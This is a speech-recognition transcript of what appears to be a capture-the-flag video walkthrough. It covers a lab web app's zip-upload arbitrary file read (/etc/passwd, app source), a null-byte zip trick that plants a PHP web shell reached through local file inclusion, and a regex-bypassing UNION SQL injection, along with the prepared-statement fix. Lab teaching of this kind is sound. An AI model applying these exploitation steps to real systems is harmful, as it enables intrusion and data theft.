473

00:24:41,919 --> 00:24:46,520

actually upload it right so let's do

474

00:24:46,520 --> 00:24:50,120

um see let's call upload file I guess we

475

00:24:50,120 --> 00:24:51,159

don't even have to create a function

476

00:24:51,159 --> 00:24:54,880

let's just do URL is equal to http 101

477

00:24:54,880 --> 00:24:56,399

11

478

00:24:56,399 --> 00:25:00,679

229 we up upload it to upload.php and

479

00:25:00,679 --> 00:25:02,600

then we want to create the payload so

480

00:25:02,600 --> 00:25:06,039

we'll do payload is equal to create zip

481

00:25:06,039 --> 00:25:07,440

and then this is going to be the

482

00:25:07,440 --> 00:25:09,240

argument right

483

00:25:09,240 --> 00:25:11,039

so

484

00:25:11,039 --> 00:25:13,080

um I'm just going to hard code it to

485

00:25:13,080 --> 00:25:16,240

Etsy PD here once it works then one do

486

00:25:16,240 --> 00:25:19,640

ARG Pur and um have it accept something

487

00:25:19,640 --> 00:25:21,880

so let's

488

00:25:21,880 --> 00:25:24,720

see I don't know we want to do files as

489

00:25:24,720 --> 00:25:27,440

equal to and then we have to give it the

490

00:25:27,440 --> 00:25:31,039

print parameters where is a file upload

491

00:25:31,039 --> 00:25:33,600

form so let's see the first parameter we

492

00:25:33,600 --> 00:25:35,919

want is the name which is zip file so

493

00:25:35,919 --> 00:25:39,600

we'll do zip file like that and then

494

00:25:39,600 --> 00:25:43,960

we'd give it a dictionary like this and

495

00:25:43,960 --> 00:25:48,000

I'll call it file.zip and inside of that

496

00:25:48,000 --> 00:25:51,200

will be the

497

00:25:51,200 --> 00:25:53,279

payload

498

00:25:53,279 --> 00:25:56,480

okay and then there's a second parameter

499

00:25:56,480 --> 00:25:58,240

which is submit

500

00:25:58,240 --> 00:26:02,360

so I'm just going to say data is equal

501

00:26:02,360 --> 00:26:04,039

to

502

00:26:04,039 --> 00:26:07,960

submit like that and submit has no value

503

00:26:07,960 --> 00:26:09,399

here we just want to make sure this

504

00:26:09,399 --> 00:26:13,000

exists right so that should be enough

505

00:26:13,000 --> 00:26:17,480

for us to do a request and then we want

506

00:26:17,480 --> 00:26:20,279

to get the contents of this so R is

507

00:26:20,279 --> 00:26:21,600

equal

508

00:26:21,600 --> 00:26:23,640

to

509

00:26:23,640 --> 00:26:26,000

um let's

510

00:26:26,000 --> 00:26:29,039

see so we make the request and then we

511

00:26:29,039 --> 00:26:31,000

just do r.

512

00:26:31,000 --> 00:26:34,159

text uh let's just print this this is

513

00:26:34,159 --> 00:26:37,520

going to be the HTTP response

514

00:26:37,919 --> 00:26:41,480

right so let's do

515

00:26:41,480 --> 00:26:44,880

Python 3

516

00:26:47,080 --> 00:26:50,520

fdp if you're interested so it uploaded

517

00:26:50,520 --> 00:26:53,919

successfully and we get this md5 sum now

518

00:26:53,919 --> 00:26:58,320

this md5 sum is the md5 sum of the

519

00:26:58,320 --> 00:27:00,480

uh file we upload so we can either have

520

00:27:00,480 --> 00:27:03,279

regex or call this and grab this md5 or

521

00:27:03,279 --> 00:27:05,320

you can just calculate it ourselves I'm

522

00:27:05,320 --> 00:27:06,720

just going to calculate myself because

523

00:27:06,720 --> 00:27:08,880

whenever I can avoid regex I know I'm

524

00:27:08,880 --> 00:27:10,919

going to be happier right so let's just

525

00:27:10,919 --> 00:27:14,120

do def uh calculate

526

00:27:14,120 --> 00:27:18,760

md5 give it the data and we can say md5

527

00:27:18,760 --> 00:27:21,799

hash is equal toh lib

528

00:27:21,799 --> 00:27:25,760

md5 uh we want to import hash

529

00:27:25,760 --> 00:27:28,320

lib then we can say

530

00:27:28,320 --> 00:27:33,320

# update return X digest there we

531

00:27:33,320 --> 00:27:37,120

go so we posted the file and then we

532

00:27:37,120 --> 00:27:40,240

want to just get the next file so we'll

533

00:27:40,240 --> 00:27:45,480

say R is equal to request get 1010 11229

534

00:27:45,480 --> 00:27:47,440

slash upload

535

00:27:47,440 --> 00:27:49,559

slash

536

00:27:49,559 --> 00:27:52,880

um let's make this a F

537

00:27:52,880 --> 00:27:55,240

string we'll say

538

00:27:55,240 --> 00:28:01,200

md5 slash we called it resume

539

00:28:01,200 --> 00:28:04,480

PDF you can say md5 is equal to

540

00:28:04,480 --> 00:28:07,559

calculate that of the

541

00:28:08,840 --> 00:28:12,799

payload so let's see what happens with

542

00:28:12,799 --> 00:28:15,760

this boom now we have it so we can get

543

00:28:15,760 --> 00:28:19,080

any file off the server so we could

544

00:28:19,080 --> 00:28:21,039

either like import CMD and make a

545

00:28:21,039 --> 00:28:23,240

command line application around it so we

546

00:28:23,240 --> 00:28:26,840

just can uh grab files quickly but I'd

547

00:28:26,840 --> 00:28:29,200

rather just use aring so I can direct a

548

00:28:29,200 --> 00:28:32,519

file to save it so let's do that let's

549

00:28:32,519 --> 00:28:35,000

go back into visual studio and we're

550

00:28:35,000 --> 00:28:37,799

going to just import

551

00:28:37,799 --> 00:28:42,159

CIS and then where we create the zip we

552

00:28:42,159 --> 00:28:45,120

can say cy.

553

00:28:45,120 --> 00:28:47,000

arv1 so we just grabbed the first

554

00:28:47,000 --> 00:28:49,200

argument I didn't actually use ARG Pur

555

00:28:49,200 --> 00:28:50,480

but

556

00:28:50,480 --> 00:28:54,600

um that should be fine so we run this

557

00:28:54,600 --> 00:28:55,880

say Etsy

558

00:28:55,880 --> 00:28:58,640

passwd we have that file so if I wanted

559

00:28:58,640 --> 00:29:00,159

to I could easily just save it with

560

00:29:00,159 --> 00:29:04,039

redirecting it so what I want to do is

561

00:29:04,039 --> 00:29:08,000

um let's do proc self CMD line we can

562

00:29:08,000 --> 00:29:09,480

see we're in

563

00:29:09,480 --> 00:29:12,679

Apache so we could go to like Etsy

564

00:29:12,679 --> 00:29:17,399

Apache 2 sites enabled 0000

565

00:29:17,399 --> 00:29:20,519

default. this is the default

566

00:29:20,519 --> 00:29:22,679

um Apache

567

00:29:22,679 --> 00:29:25,159

configuration and this would tell us all

568

00:29:25,159 --> 00:29:27,360

the locations right like ver dubdub duub

569

00:29:27,360 --> 00:29:32,440

HTML we can see uploads goes in here

570

00:29:32,440 --> 00:29:35,519

um so we already kind of knew that

571

00:29:35,519 --> 00:29:37,440

information so let's just get the source

572

00:29:37,440 --> 00:29:38,840

code of the application so I'm going to

573

00:29:38,840 --> 00:29:41,039

do ver dubdub duub

574

00:29:41,039 --> 00:29:45,240

HTML um was it upload.php is that what

575

00:29:45,240 --> 00:29:47,399

we're doing

576

00:29:47,399 --> 00:29:51,760

yes so this is going to be the source

577

00:29:51,760 --> 00:29:54,159

and this is the whole reason why I did

578

00:29:54,159 --> 00:29:56,720

not want to use CMD because I want to

579

00:29:56,720 --> 00:29:59,440

just quick write a file because I like

580

00:29:59,440 --> 00:30:00,760

syntax

581

00:30:00,760 --> 00:30:03,080

highlighting let's see where does the

582

00:30:03,080 --> 00:30:06,279

PHP code

583

00:30:07,399 --> 00:30:10,720

begin here we

584

00:30:10,960 --> 00:30:13,919

go so this is going to be the PHP

585

00:30:13,919 --> 00:30:16,640

code and here we're creating the md5

586

00:30:16,640 --> 00:30:18,399

hash that's what we did in the python

587

00:30:18,399 --> 00:30:21,720

right we have temp dur we're creating a

588

00:30:21,720 --> 00:30:23,679

zip

589

00:30:23,679 --> 00:30:26,840

archive and it's going to get the name

590

00:30:26,840 --> 00:30:28,880

index so this is going to get the very

591

00:30:28,880 --> 00:30:31,720

first item out of the

592

00:30:31,720 --> 00:30:34,919

zip make sure it has is

593

00:30:34,919 --> 00:30:37,360

PHP um also we're making sure there's

594

00:30:37,360 --> 00:30:40,960

only one file in the zip right so only

595

00:30:40,960 --> 00:30:43,880

one file first file has to have

596

00:30:43,880 --> 00:30:47,960

extension PHP and then we're doing a um

597

00:30:47,960 --> 00:30:50,640

exact call and we're going to run seven

598

00:30:50,640 --> 00:30:52,840

zip to extract it so you may think

599

00:30:52,840 --> 00:30:54,679

there's command injection here but

600

00:30:54,679 --> 00:30:56,519

because we're in the single quotes there

601

00:30:56,519 --> 00:31:00,080

is not so we can't just like put um a

602

00:31:00,080 --> 00:31:02,480

command like this right so that doesn't

603

00:31:02,480 --> 00:31:05,559

work um this one we don't

604

00:31:05,559 --> 00:31:09,399

have uh the ability to do anything with

605

00:31:09,399 --> 00:31:11,080

this because we don't control that right

606

00:31:11,080 --> 00:31:15,919

upload directory is the file

607

00:31:15,919 --> 00:31:18,399

hash so the only place we have real user

608

00:31:18,399 --> 00:31:23,159

input is in a properly um escaped well I

609

00:31:23,159 --> 00:31:25,240

don't want to say properly but in a

610

00:31:25,240 --> 00:31:27,240

place where it's not easy for us to get

611

00:31:27,240 --> 00:31:29,360

code execution then we do this file

612

00:31:29,360 --> 00:31:32,760

exist call we kind of already figured oh

613

00:31:32,760 --> 00:31:36,480

we this is a different file exist um so

614

00:31:36,480 --> 00:31:38,559

when it uploads it's going to make sure

615

00:31:38,559 --> 00:31:41,760

the file exist if it does it's going to

616

00:31:41,760 --> 00:31:45,519

rename the upload path to the uploader

617

00:31:45,519 --> 00:31:49,320

the upload path is really CIS G temp dur

618

00:31:49,320 --> 00:31:50,960

and this may not look like a PHP

619

00:31:50,960 --> 00:31:55,000

function but it is um let's do PHP d a

620

00:31:55,000 --> 00:31:57,760

echo sis get

621

00:31:57,760 --> 00:31:58,840

uh

622

00:31:58,840 --> 00:32:02,399

tempter it's just going to be temp so

623

00:32:02,399 --> 00:32:05,679

first we write the zip into a temporary

624

00:32:05,679 --> 00:32:08,120

directory we make sure it exists and

625

00:32:08,120 --> 00:32:11,120

then we move it to the upload directory

626

00:32:11,120 --> 00:32:12,799

uh when the box was released there was a

627

00:32:12,799 --> 00:32:17,399

unintended around this that let you um

628

00:32:17,399 --> 00:32:20,919

upload a zip with a null bite so let's

629

00:32:20,919 --> 00:32:23,559

do that real quick

630

00:32:23,559 --> 00:32:27,679

um because this behavior is interesting

631

00:32:27,679 --> 00:32:31,000

so let's see we have file.zip

632

00:32:31,000 --> 00:32:34,360

um trying to think of a good way to show

633

00:32:34,360 --> 00:32:38,080

this let's go back

634

00:32:38,080 --> 00:32:40,279

to.php and I'm going

635

00:32:40,279 --> 00:32:46,240

to copy p. PHP to p. php. PDF put two

636

00:32:46,240 --> 00:32:50,120

periods here okay so now I'm going to

637

00:32:50,120 --> 00:32:53,000

zip p. PHP

638

00:32:53,000 --> 00:32:57,960

PDF and we're going to call it um per.

639

00:32:57,960 --> 00:33:02,440

zip that's fine and I reverse those

640

00:33:02,840 --> 00:33:07,320

again there we go so we have this ZIP

641

00:33:07,320 --> 00:33:10,600

and if we had a good hexor do I have

642

00:33:10,600 --> 00:33:12,760

bless in

643

00:33:12,760 --> 00:33:17,799

this I don't have bless um let's see we

644

00:33:17,799 --> 00:33:21,639

can use burp s TX editor that'll be

645

00:33:21,639 --> 00:33:25,559

fine so if we go here we have pa.zip

646

00:33:25,559 --> 00:33:27,600

that's not what I want

647

00:33:27,600 --> 00:33:29,919

wanted is

648

00:33:29,919 --> 00:33:33,559

it what did I just

649

00:33:33,559 --> 00:33:36,720

make okay I did make

650

00:33:36,720 --> 00:33:41,000

that we add this let us intercept

651

00:33:41,000 --> 00:33:43,840

it intercept on in both

652

00:33:43,840 --> 00:33:46,679

locations upload

653

00:33:46,679 --> 00:33:50,960

it and what I want to do is go over

654

00:33:50,960 --> 00:33:55,639

to repeater let's go into

655

00:33:55,639 --> 00:33:59,720

hex and we're going to

656

00:34:00,880 --> 00:34:05,240

modify our thing and this may

657

00:34:05,240 --> 00:34:10,359

be painful because of how big our ZIP

658

00:34:10,960 --> 00:34:13,440

is I'm going

659

00:34:13,440 --> 00:34:18,040

to make a zip smaller uh let's do pone

660

00:34:18,040 --> 00:34:21,520

php. PDF let's remove pa.zip

661

00:34:21,520 --> 00:34:25,879

um V we'll call it shell.

662

00:34:25,879 --> 00:34:28,879

PHP

663

00:34:30,040 --> 00:34:33,040

uh

664

00:34:33,199 --> 00:34:37,000

PHP system ID let's just run that

665

00:34:37,000 --> 00:34:39,000

command if we get that then we know it's

666

00:34:39,000 --> 00:34:41,280

executing or do PHP infl that's always a

667

00:34:41,280 --> 00:34:43,159

good

668

00:34:43,159 --> 00:34:45,119

one

669

00:34:45,119 --> 00:34:47,040

okay because we've already proved we got

670

00:34:47,040 --> 00:34:49,599

a shell with um the other method so we

671

00:34:49,599 --> 00:34:51,800

can just do it this way so we have

672

00:34:51,800 --> 00:34:55,879

shell. PHP there um let's rename it to

673

00:34:55,879 --> 00:34:57,760

Shell

674

00:34:57,760 --> 00:34:59,640

PHP

675

00:34:59,640 --> 00:35:04,520

PDF we actually want two periods my

676

00:35:06,880 --> 00:35:10,680

bad and then we want to

677

00:35:10,680 --> 00:35:13,400

zip

678

00:35:13,400 --> 00:35:15,240

this like

679

00:35:15,240 --> 00:35:19,119

that okay now I'm going to upload and

680

00:35:19,119 --> 00:35:21,440

we're going to look at the hex and see

681

00:35:21,440 --> 00:35:25,240

it is much much more manageable

682

00:35:25,240 --> 00:35:28,040

um browse

683

00:35:28,040 --> 00:35:30,920

this

684

00:35:30,920 --> 00:35:34,359

upload this looks much easier right so

685

00:35:34,359 --> 00:35:37,119

if we go over to

686

00:35:37,160 --> 00:35:39,920

hex let's make this

687

00:35:39,920 --> 00:35:42,520

bigger all I want to

688

00:35:42,520 --> 00:35:45,000

do

689

00:35:45,000 --> 00:35:49,000

is find where we have the two

690

00:35:49,000 --> 00:35:52,839

periods so let's see 2 e 2 e I'm going

691

00:35:52,839 --> 00:35:55,800

to put a Nite

692

00:35:55,800 --> 00:35:58,040

here

693

00:35:58,040 --> 00:35:59,800

so it's on the second one you could do

694

00:35:59,800 --> 00:36:01,040

the first one as well but the second

695

00:36:01,040 --> 00:36:03,520

one's the only one that matters so when

696

00:36:03,520 --> 00:36:06,160

I put this

697

00:36:06,359 --> 00:36:10,400

here we see the file was uploaded but if

698

00:36:10,400 --> 00:36:12,880

we attempted to go to this file let's

699

00:36:12,880 --> 00:36:15,560

just turn intercept off so a browser

700

00:36:15,560 --> 00:36:19,040

gives it to us let's

701

00:36:19,040 --> 00:36:21,640

see

702

00:36:21,640 --> 00:36:25,240

um that's not what I wanted go back here

703

00:36:25,240 --> 00:36:27,960

repeater we going to get this

704

00:36:27,960 --> 00:36:31,560

hash if I go in this

705

00:36:31,560 --> 00:36:35,520

directory the file is not

706

00:36:35,520 --> 00:36:39,240

here and that's

707

00:36:39,520 --> 00:36:43,480

because um let's go back into zip Vim

708

00:36:43,480 --> 00:36:46,240

upload.php

709

00:36:46,240 --> 00:36:49,760

we filled this check so it never renamed

710

00:36:49,760 --> 00:36:53,240

it to move it but the file still exist

711

00:36:53,240 --> 00:36:55,680

so if we went to the

712

00:36:55,680 --> 00:36:57,480

lfi

713

00:36:57,480 --> 00:37:00,359

let's go do I still have in burp

714

00:37:00,359 --> 00:37:04,640

Suite we go here we can probably do page

715

00:37:04,640 --> 00:37:05,640

is equal

716

00:37:05,640 --> 00:37:09,560

to um let's do

717

00:37:09,560 --> 00:37:15,680

temp then uploads shell. PHP like

718

00:37:15,720 --> 00:37:19,359

this and that did not work

719

00:37:19,359 --> 00:37:25,000

um oh um the script app pens. PHP right

720

00:37:25,000 --> 00:37:27,960

so there we go we have it this is the

721

00:37:27,960 --> 00:37:29,960

PHP info page that we put in the Shell

722

00:37:29,960 --> 00:37:33,000

if I click render we can see it so what

723

00:37:33,000 --> 00:37:37,040

exactly happened here um so if we go

724

00:37:37,040 --> 00:37:39,319

here what's happening is a different

725

00:37:39,319 --> 00:37:41,480

Behavior between how PHP is handling

726

00:37:41,480 --> 00:37:45,079

Zips and how seven zip does right the

727

00:37:45,079 --> 00:37:50,720

actual format of a zip file is weird

728

00:37:50,720 --> 00:37:53,400

um szip is treating it as null

729

00:37:53,400 --> 00:37:55,359

terminated but there's also a length

730

00:37:55,359 --> 00:37:58,960

somewhere so PHP is take using the

731

00:37:58,960 --> 00:38:02,200

length so it reads past the null bite

732

00:38:02,200 --> 00:38:04,240

right so let's see where

733

00:38:04,240 --> 00:38:07,599

shell so probably this is some type of

734

00:38:07,599 --> 00:38:11,119

length or something right so PHP just

735

00:38:11,119 --> 00:38:14,599

says okay I have let's say 12 bytes to

736

00:38:14,599 --> 00:38:16,160

read I'm going to read 12 and that's

737

00:38:16,160 --> 00:38:18,280

going to be the file name what seven zip

738

00:38:18,280 --> 00:38:20,119

is doing is I think it's probably saying

739

00:38:20,119 --> 00:38:22,440

I have 12 but it's hitting the N bite so

740

00:38:22,440 --> 00:38:24,800

it stops reading here so that's why it

741

00:38:24,800 --> 00:38:28,720

only drops shell. pH P to the dis now

742

00:38:28,720 --> 00:38:32,760

the other interesting thing um that is

743

00:38:32,760 --> 00:38:34,920

just the interesting that's all right so

744

00:38:34,920 --> 00:38:37,839

when PHP sees it PHP reads past the null

745

00:38:37,839 --> 00:38:40,480

bite so it sees the extensions PDF but

746

00:38:40,480 --> 00:38:42,319

when seven Zip's actually doing it it's

747

00:38:42,319 --> 00:38:44,520

not going past the null bite that's why

748

00:38:44,520 --> 00:38:47,440

it just drops the PHP the file doesn't

749

00:38:47,440 --> 00:38:50,920

exist because the upload path file name

750

00:38:50,920 --> 00:38:53,599

this includes the null bite and it's

751

00:38:53,599 --> 00:38:58,119

saying um the file doesn't exist because

752

00:38:58,119 --> 00:39:01,119

the PDF extension does not exist so we

753

00:39:01,119 --> 00:39:02,839

never rename it which moves it out of

754

00:39:02,839 --> 00:39:05,800

the temp directory so hopefully that

755

00:39:05,800 --> 00:39:09,200

makes sense um so that was the other

756

00:39:09,200 --> 00:39:12,200

unended with the Box we can finally go

757

00:39:12,200 --> 00:39:15,520

and talk about the intended solution

758

00:39:15,520 --> 00:39:17,960

which includes some SQL injection so

759

00:39:17,960 --> 00:39:21,560

let's go back to a pone script um we

760

00:39:21,560 --> 00:39:22,680

execute

761

00:39:22,680 --> 00:39:27,400

fdp and we go to ver dubdub duub HTM M

762

00:39:27,400 --> 00:39:30,720

shop and then there were two files what

763

00:39:30,720 --> 00:39:34,160

was under shop

764

00:39:34,800 --> 00:39:37,880

um product and current so let's look at

765

00:39:37,880 --> 00:39:40,240

product.php

766

00:39:40,240 --> 00:39:44,960

and let's direct this to a

767

00:39:45,160 --> 00:39:47,800

file so let's see the first thing that

768

00:39:47,800 --> 00:39:50,760

really sticks out is a really nasty

769

00:39:50,760 --> 00:39:53,720

regular expression right here so we have

770

00:39:53,720 --> 00:39:56,520

a if match and then if it does it read

771

00:39:56,520 --> 00:39:58,680

directs us to

772

00:39:58,680 --> 00:40:02,640

index.php and this is matching on ID so

773

00:40:02,640 --> 00:40:06,280

let's go to product um let's just do two

774

00:40:06,280 --> 00:40:08,079

I guess I'm going to send this over to

775

00:40:08,079 --> 00:40:11,119

burp Suite intercept

776

00:40:11,119 --> 00:40:13,359

on

777

00:40:13,359 --> 00:40:17,280

there there we go

778

00:40:17,280 --> 00:40:21,440

so if the product um matches this

779

00:40:21,440 --> 00:40:25,119

regular expression we just get a

780

00:40:25,119 --> 00:40:27,440

redirect so let's see it looks like we

781

00:40:27,440 --> 00:40:29,640

can't have any special characters or

782

00:40:29,640 --> 00:40:33,480

numbers so if I just do ideas 2 a we get

783

00:40:33,480 --> 00:40:37,000

a redirect so the redirect is bad

784

00:40:37,000 --> 00:40:41,040

um so looking at this let's break down

785

00:40:41,040 --> 00:40:44,079

this and um rag X and this is going to

786

00:40:44,079 --> 00:40:47,040

be really silly cuz it looks like this

787

00:40:47,040 --> 00:40:50,160

carrot would apply to both of these but

788

00:40:50,160 --> 00:40:53,200

this pipe is really a big ore so we got

789

00:40:53,200 --> 00:40:55,800

two different R xes essentially um the

790

00:40:55,800 --> 00:40:58,200

first one is is going to be like that

791

00:40:58,200 --> 00:41:00,920

and the second one is

792

00:41:00,920 --> 00:41:04,599

this so the vulnerability

793

00:41:04,599 --> 00:41:08,440

here is twofold um the first is

794

00:41:08,440 --> 00:41:10,920

primarily because of this carrot and we

795

00:41:10,920 --> 00:41:14,000

don't have a slash m it's not going to

796

00:41:14,000 --> 00:41:14,760

be

797

00:41:14,760 --> 00:41:17,839

multi-line this reg X will be multi-line

798

00:41:17,839 --> 00:41:19,200

because we're not looking at the

799

00:41:19,200 --> 00:41:21,960

beginning of a line the carrot inside of

800

00:41:21,960 --> 00:41:24,240

these brackets that means not if you put

801

00:41:24,240 --> 00:41:26,720

a carrot soon as you put like the

802

00:41:26,720 --> 00:41:28,880

bracket that is it's not one of these

803

00:41:28,880 --> 00:41:30,839

characters if it's not within that

804

00:41:30,839 --> 00:41:33,599

that's like when the string begins so we

805

00:41:33,599 --> 00:41:36,119

have if the string begins then match any

806

00:41:36,119 --> 00:41:39,480

character star and then we have bunch of

807

00:41:39,480 --> 00:41:41,720

special characters and stuff it's going

808

00:41:41,720 --> 00:41:44,960

to return to the

809

00:41:44,960 --> 00:41:48,280

index.php but because we don't haveall

810

00:41:48,280 --> 00:41:50,440

which is the python way to do it or slm

811

00:41:50,440 --> 00:41:52,760

for multi-line this period isn't going

812

00:41:52,760 --> 00:41:55,520

to match line breaks which means this

813

00:41:55,520 --> 00:41:56,880

regular expression

814

00:41:56,880 --> 00:42:00,480

is not applied if we have a multi-line

815

00:42:00,480 --> 00:42:03,240

input this one will be so we have to

816

00:42:03,240 --> 00:42:05,319

make sure we end with a number because

817

00:42:05,319 --> 00:42:07,640

if it's not a number we also go to

818

00:42:07,640 --> 00:42:10,079

index.php so let's test that logic out

819

00:42:10,079 --> 00:42:14,480

real quick so if I do 1 a we oh let's do

820

00:42:14,480 --> 00:42:16,480

A1 because we want to make sure we end

821

00:42:16,480 --> 00:42:19,480

with a number right we go 30 or2 found

822

00:42:19,480 --> 00:42:21,480

now let's insert a line break so I'm

823

00:42:21,480 --> 00:42:24,200

just going to do Echo xxd a line break

824

00:42:24,200 --> 00:42:29,720

should be 0 a so I do percent 0 a and we

825

00:42:29,720 --> 00:42:32,400

get the product does not exist because

826

00:42:32,400 --> 00:42:34,839

we have a line break here so what was

827

00:42:34,839 --> 00:42:36,800

stopping us

828

00:42:36,800 --> 00:42:40,839

before uh where was I here was this rag

829

00:42:40,839 --> 00:42:45,559

X right but by putting the line in now

830

00:42:45,559 --> 00:42:48,599

it's not going to match because it's not

831

00:42:48,599 --> 00:42:51,839

multi-line here so we only got this reg

832

00:42:51,839 --> 00:42:56,680

X right so if I did um 1 a

833

00:42:56,680 --> 00:43:00,520

we have a 30 or2 found so A1 that's good

834

00:43:00,520 --> 00:43:03,520

if we just do one we get the product

835

00:43:03,520 --> 00:43:06,839

idea of whatever one is uh let's see

836

00:43:06,839 --> 00:43:08,040

what is that it's going to be the

837

00:43:08,040 --> 00:43:10,400

Smartwatch product so I'm going to add

838

00:43:10,400 --> 00:43:13,000

this I'm going to autoc scroll here so

839

00:43:13,000 --> 00:43:17,079

when I do it we have that if we did not

840

00:43:17,079 --> 00:43:20,440

exist we see it doesn't autoscroll so

841

00:43:20,440 --> 00:43:23,599

now let's test for SQL injection so I'm

842

00:43:23,599 --> 00:43:26,400

going to put a single quote we have a

843

00:43:26,400 --> 00:43:29,079

error let's put a comment we still don't

844

00:43:29,079 --> 00:43:31,640

have a match but again that's because of

845

00:43:31,640 --> 00:43:34,040

the reg X I'm going to end it in a

846

00:43:34,040 --> 00:43:36,400

number and now we suddenly have

847

00:43:36,400 --> 00:43:39,079

Smartwatch so we have validated we have

848

00:43:39,079 --> 00:43:41,280

SQL injection we just have to make sure

849

00:43:41,280 --> 00:43:46,200

we have a line break and we end with a

850

00:43:46,200 --> 00:43:49,640

number um let's kind of go into why

851

00:43:49,640 --> 00:43:51,960

that's SQL injected right the comments

852

00:43:51,960 --> 00:43:53,640

do tell us but let's pretend these

853

00:43:53,640 --> 00:43:56,880

comments don't exist uh

854

00:43:56,880 --> 00:43:58,200

so if you wanted to you could pause and

855

00:43:58,200 --> 00:44:00,800

read them but many people may overlook

856

00:44:00,800 --> 00:44:03,480

this because we have a prepare statement

857

00:44:03,480 --> 00:44:04,920

and normally when you do prepared

858

00:44:04,920 --> 00:44:08,599

statements that's how you um patch SQL

859

00:44:08,599 --> 00:44:10,240

injection right everyone says use

860

00:44:10,240 --> 00:44:12,680

prepared statements well let's look at

861

00:44:12,680 --> 00:44:16,160

PDO prepare so let's do PHP

862

00:44:16,160 --> 00:44:21,319

PDO prepare go over to Google uh let's

863

00:44:21,319 --> 00:44:24,119

make sure I'm not

864

00:44:25,000 --> 00:44:27,559

intercepting and let's look at the

865

00:44:27,559 --> 00:44:30,440

manual because what they did not do is

866

00:44:30,440 --> 00:44:32,079

when you do prepared statements you

867

00:44:32,079 --> 00:44:34,359

don't just put the parameters right here

868

00:44:34,359 --> 00:44:36,760

the variables it's going to want to use

869

00:44:36,760 --> 00:44:38,480

probably like a question mark right they

870

00:44:38,480 --> 00:44:41,000

give three examples the one I like is

871

00:44:41,000 --> 00:44:43,800

just doing question mark So how we would

872

00:44:43,800 --> 00:44:47,040

Harden this is we'd put a question mark

873

00:44:47,040 --> 00:44:50,720

here and then on execute then we'd say

874

00:44:50,720 --> 00:44:55,640

ID right so now it knows this parameter

875

00:44:55,640 --> 00:44:57,079

is going to be the first parameter here

876

00:44:57,079 --> 00:44:59,440

and that's ID and because you do it this

877

00:44:59,440 --> 00:45:03,359

way um the library can properly Escape

878

00:45:03,359 --> 00:45:06,559

everything so uh let's undo these

879

00:45:06,559 --> 00:45:08,200

comments so now that you know how you

880

00:45:08,200 --> 00:45:09,640

would recommend the

881

00:45:09,640 --> 00:45:14,880

fix let's exploit this so going back

882

00:45:14,880 --> 00:45:17,599

here um we want to be able to write a

883

00:45:17,599 --> 00:45:21,720

file and the myql user let's see what we

884

00:45:21,720 --> 00:45:24,880

run as um let's

885

00:45:24,880 --> 00:45:26,559

go

886

00:45:26,559 --> 00:45:29,720

actually we can go back to product real

887

00:45:29,720 --> 00:45:33,079

quick see

888

00:45:33,079 --> 00:45:36,480

PHP no ID how is it authentica into the

889

00:45:36,480 --> 00:45:39,839

database oh because it loads index first

890

00:45:39,839 --> 00:45:43,640

that's right um let's look at

891

00:45:44,839 --> 00:45:48,599

index.php and it's going to include

892

00:45:48,599 --> 00:45:52,440

functions so let's look at

893

00:45:54,880 --> 00:45:56,880

functions

894

00:45:56,880 --> 00:46:00,000

and here we have my SQL running as root

895

00:46:00,000 --> 00:46:02,720

and root can generally write files

896

00:46:02,720 --> 00:46:10,040

right so let us try this um so we have

897

00:46:10,040 --> 00:46:14,079

id1 so we write a file where we could do

898

00:46:14,079 --> 00:46:16,319

Union injection grab all the passwords

899

00:46:16,319 --> 00:46:18,240

right um that's not going to help us

900

00:46:18,240 --> 00:46:19,359

here and I think the video's gone long

901

00:46:19,359 --> 00:46:22,040

enough where you don't need to uh watch

902

00:46:22,040 --> 00:46:24,119

me well let's do it actually let's just

903

00:46:24,119 --> 00:46:29,920

extract things um select one let's see

904

00:46:29,920 --> 00:46:31,040

internal

905

00:46:31,040 --> 00:46:35,040

error internal error how many parameters

906

00:46:35,040 --> 00:46:37,640

do we

907

00:46:40,960 --> 00:46:44,440

have looks like eight so we have eight

908

00:46:44,440 --> 00:46:46,839

parameters um do we have any of these

909

00:46:46,839 --> 00:46:48,480

that get put

910

00:46:48,480 --> 00:46:50,440

out see the first one's probably going

911

00:46:50,440 --> 00:46:52,359

to be

912

00:46:52,359 --> 00:46:56,960

ID if I do like this is it going to

913

00:46:56,960 --> 00:46:59,480

help with

914

00:47:04,280 --> 00:47:07,800

them so I don't want the Smartwatch oh

915

00:47:07,800 --> 00:47:10,559

um we have to make this not exist so I'm

916

00:47:10,559 --> 00:47:12,960

going to do

917

00:47:13,119 --> 00:47:14,960

999 there we

918

00:47:14,960 --> 00:47:18,839

go so dollar is for two so we can

919

00:47:18,839 --> 00:47:21,920

definitely write here so if I do please

920

00:47:21,920 --> 00:47:26,720

subscribe we can look for this

921

00:47:26,720 --> 00:47:29,000

right so what I did here is before my

922

00:47:29,000 --> 00:47:30,800

SQL injection we had a one here which

923

00:47:30,800 --> 00:47:32,800

was matching the Smartwatch product and

924

00:47:32,800 --> 00:47:34,920

was grabbing the very first line so it

925

00:47:34,920 --> 00:47:36,800

always grabbed that so we couldn't see

926

00:47:36,800 --> 00:47:38,079

all the parameters we were writing

927

00:47:38,079 --> 00:47:40,839

through the SQL injection so what I did

928

00:47:40,839 --> 00:47:42,960

was I made sure we got a product that

929

00:47:42,960 --> 00:47:45,160

did not exist so I did my union

930

00:47:45,160 --> 00:47:48,599

injection the only line that returns is

931

00:47:48,599 --> 00:47:50,960

the one I'm putting in which is this

932

00:47:50,960 --> 00:47:55,960

right so now we can just do um SQL here

933

00:47:55,960 --> 00:47:59,280

I like just wrapping it in parentheses

934

00:47:59,280 --> 00:48:01,559

so we can do select two uh we probably

935

00:48:01,559 --> 00:48:05,000

have to URL encode everything so our

936

00:48:05,000 --> 00:48:08,880

plead sub was to so let's see we want to

937

00:48:08,880 --> 00:48:13,240

extract um all the tables well I should

938

00:48:13,240 --> 00:48:14,920

have said tables we care about because

939

00:48:14,920 --> 00:48:16,440

we don't want to dump all the tables and

940

00:48:16,440 --> 00:48:18,040

Columns of information schema because

941

00:48:18,040 --> 00:48:20,319

that's going to be a lot of data so

942

00:48:20,319 --> 00:48:22,119

first we have to just dump a list of all

943

00:48:22,119 --> 00:48:24,920

the databases on the server so let's do

944

00:48:24,920 --> 00:48:29,880

a select and then schema name from

945

00:48:29,880 --> 00:48:32,839

information schema.

946

00:48:32,839 --> 00:48:34,800

schemata like

947

00:48:34,800 --> 00:48:39,559

that and we have to um do a group concat

948

00:48:39,559 --> 00:48:40,839

because this is going to return multiple

949

00:48:40,839 --> 00:48:44,079

rows we want to put them all on one row

950

00:48:44,079 --> 00:48:48,200

and of course we have to URL encode this

951

